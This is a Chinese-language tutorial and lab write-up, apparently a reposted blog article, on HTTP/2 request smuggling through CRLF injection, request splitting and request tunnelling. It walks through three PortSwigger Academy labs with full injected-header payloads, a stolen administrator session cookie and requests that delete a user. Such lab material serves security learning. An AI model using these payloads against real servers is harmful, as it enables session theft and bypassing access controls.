CRLF走私
基本介绍
网站即使采取措施阻止基本H2.CL或H2.TE攻击(例如:验证content-length或剥离任何transfer-encoding头),我们也可以通过利用HTTP/2的二进制格式中允许的一些方法来绕过这些前端措施,在HTTP/1中我们有时可以利用服务器处理独立换行符(\\\\n)方式之间的差异来走私被禁止的头
走私原理
如果后端将独立换行符(\\\\n)作为分隔符,而前端服务器不这样做,那么一些前端服务器将根本检测不到第二个头
Foo: bar\\\\nTransfer-Encoding: chunked
这种差异在处理完整的CRLF (\\\\r\\\\n)序列时并不存在,因为所有的HTTP/1服务器都认为这会终止标头,由于HTTP/2消息是二进制的,而不是基于文本的,所以每个报头的边界是基于显式的、预先确定的偏移量而不是定界符字符,这意味着\\\\r\\\\n在标头值中不再有任何特殊意义,因此可以包含在值本身中,而不会导致标头被拆分,这本身似乎相对无害,但是当它被重写为HTTP/1请求时,\\\\r\\\\n将再次被解释为标头分隔符,因此HTTP/1后端服务器会看到两个不同的头:
Foo: bar
Transfer-Encoding: chunked
靶场示例
靶场地址:
https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要使用HTTP/2-exclusive请求走私向量来访问另一个用户的帐户,受害者每15秒访问一次主页
演示过程:
Step 1:首先访问上述链接进入靶场,然后点击\\”ACCESS THELAB\\”进入靶场
Step 2:在Burpsuite中捕获请求数据包并展开\\”Inspector\\”的请求属性部分将协议设置为HTTP/2,随后向请求添加一个任意的头,将序列\\\\r\\\\n追加到标头的值,后跟Transfer-Encoding: chunked
bar\\\\r\\\\n
Transfer-Encoding: chunked
Body部分如下所示:
0
SMUGGLED
随后我们可以看到发送的每第二个请求会收到一个404响应,由此可以确认我们已经让后端将后续请求附加到走私的前缀上
Step 3:随后构造如下请求数据包
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Content-Length: 800
search=x
发送请求然后立即刷新浏览器中的页面
此时运气好的会看到被外带出来的,中间需要多次尝试,有兴趣的可以去试试看
请求拆分
基本介绍
从上面的响应队列中毒中我们了解到了如何将一个HTTP请求拆分成为两个完整的请求,上面的例子拆分发生在消息体内部,但是当使用HTTP/2降级时,我们也可以使拆分发生在消息头中,例如:您甚至可以使用GET请求
:method GET
:path /
:authority vulnerable-website.com
foo
bar\\\\r\\\\n
\\\\r\\\\n
GET /admin HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com
重写请求
在报头中拆分请求时,我们需要了解前端服务器如何重写请求并在手动添加任何HTTP/1报头时考虑这一点,否则其中一个请求可能缺少强制标头,例如:您需要确保后端收到的两个请求都包含host头,在降级过程中前端服务器通常会去除:authority伪标头并将其替换为新的HTTP/1主机标头,例如下面的重新请求:
:method GET
:path /
:authority vulnerable-website.com
foo
bar\\\\r\\\\n
\\\\r\\\\n
GET /admin HTTP/1.1\\\\r\\\\n
Host: vulnerable-website.com
在重写过程中一些前端服务器会将新的主机头附加到当前头列表的末尾,就HTTP/2前端而言是位于在foo头之后,需要注意的是请求在后端被拆分的点之后,这意味着第一个请求根本没有host,而走私的请求有两个,在这种情况下您需要定位注入的host头,以便发生分割时它会出现在第一个请求中
:method GET
:path /
:authority vulnerable-website.com
foo
bar\\\\r\\\\n
Host: vulnerable-website.com\\\\r\\\\n
\\\\r\\\\n
GET /admin HTTP/1.1
靶场示例
靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要通过使用响应队列中毒进入位于/admin的管理面板来删除用户carlos,管理员用户大约每10秒登录一次
靶场演示:
Step 1;首先访问上面的链接进入靶场并点击\\”ACCESS THELAB\\”
Step 2:使用Burpsuite抓包并更改协议为HTTP/2,随后将路径更改为不存在的路径,比如:/x,这意味着我们正常情况下得到的都市404响应,但是如果我们一旦完成了对响应队列的毒化操作,那么我们将很容易识别到其他用户的响应信息
Step 3:随后使用\\”Inspector\\”在请求的末尾加入一个任意的头信息
#Name
foo
#Value
bar\\\\r\\\\n
\\\\r\\\\n
GET /x HTTP/1.1\\\\r\\\\n
Host: YOUR-LAB-ID.web-security-academy.net
Step 4:随后发送请求,前端服务器在降级期间会将\\\\r\\\\n\\\\r\\\\n附加到标头的末尾,而这实际上会将走私的前缀转换为完整的请求,从而毒化响应队列
随后我们可以捕获到administrator的Session
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Step 5:随后发生请求查看可用的接口
GET /my-account?id=administrator HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep
访问/admin路径获取到删除用户的接口信息
Step 6:直接调用接口删除用户
GET /admin/delete?username=carlos HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep
Step 7:随后完成解题
请求隧道
基本介绍
上面我们讨论的许多请求走私攻击之所以可以实现是因为前端和后端之间的相同连接处理多个请求,尽管有些服务器会为任何请求重用连接,但其他服务器有更严格的策略,例如:有些服务器只允许来自同一IP地址或同一客户端的请求重用连接,其他人根本不会重用连接,这限制了传统的请求走私所能实现的利用途径,因为没有明显的方法来影响其他用户的流量数据
虽然不能毒害套接字来干扰其他用户的请求,但是我们仍然可以发送一个请求,从后端得到两个响应,这将有可能对前端实现完全隐藏请求及其匹配的响应,通过使用这种技术我们可以绕过前端安全措施,甚至一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道,这种方式将请求隧道传输到后端并提供了一种更有限的请求走私形式,其实HTTP/1和HTTP/2都可以实现请求隧道,但是在只有HTTP/1的环境中检测起来要困难得多,由于HTTP/1中持久(保持活动)连接的工作方式,即使您确实收到了两个响应,这也不一定能确认请求被成功走私,另一方面,在HTTP/2中每个\\”Stream\\”应该只包含一个请求和响应,如果您收到一个HTTP/2响应,其正文中似乎是一个HTTP/1响应,那么我们便可以确信已经成功地通过隧道传输了第二个请求
头部泄露
假设我们发送了一个类似如下的请求来将内部头追加到将成为后端主体参数的内容中
:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo
bar\\\\r\\\\n
Content-Length: 200\\\\r\\\\n
\\\\r\\\\n
comment=
x=1
在这种情况下,前端和后端都同意只有一个请求,有趣的是可以让它们在报头结束的位置上产生分歧,前端将我们注入的所有内容都视为头部的一部分,因此在尾部comment=string之后,另一方面后端看到\\\\r\\\\n\\\\r\\\\n序列认为这是标头的结尾,comment= string以及内部头被视为正文的一部分
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=X-Internal-Header: secretContent-Length: 3
x=1
靶场示例
靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-bypass-access-controls-via-request-tunnelling
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分净化传入的头名称,要解决该实验你需要以管理员用户身份访问/admin中的管理面板并删除用户carlos,需要注意的是本环境中前端服务器不重用到后端的连接,因此不容易受到传统的请求走私攻击,然而它仍然容易受到隧道请求的攻击
靶场演示:
Step 1:首先访问以上靶场地址,然后点击\\”ACCESS THELAB\\”进入靶场
Step 2:在Burpsuite中捕获请求并将协议更改为HTTP/2,随后使用Inspector将一个任意的头附加到请求的末尾并尝试在其名称中隐藏一个主机头,如下所示
#Name
foo: bar\\\\r\\\\n
Host: abc
#Value
xyz
随后发送请求数据包可以看到此处存在对abc的链接,说明我的CRLF注入成功
Step 3:在浏览器中可以看到搜索功能,随后进行一个简单的检索
Step 4:在burpsuite中将协议升级为HTTP/2,同时更改请求方法为POST,添加一个任意头并使用其名称字段注入一个大的Content-Length和一个额外的搜索参数,如下所示
#Name
foo: bar\\\\r\\\\n
Content-Length: 500\\\\r\\\\n
\\\\r\\\\n
search=x
#Value
xyz
Step 5:在请求的Body中将任意字符附加到原始搜索参数,直到请求长度超过走私的Content-Length头,发送请求就可以看到响应中出现了前端服务器附加到我们请求的标头信息
Content-Length: 840
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONT
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34220.html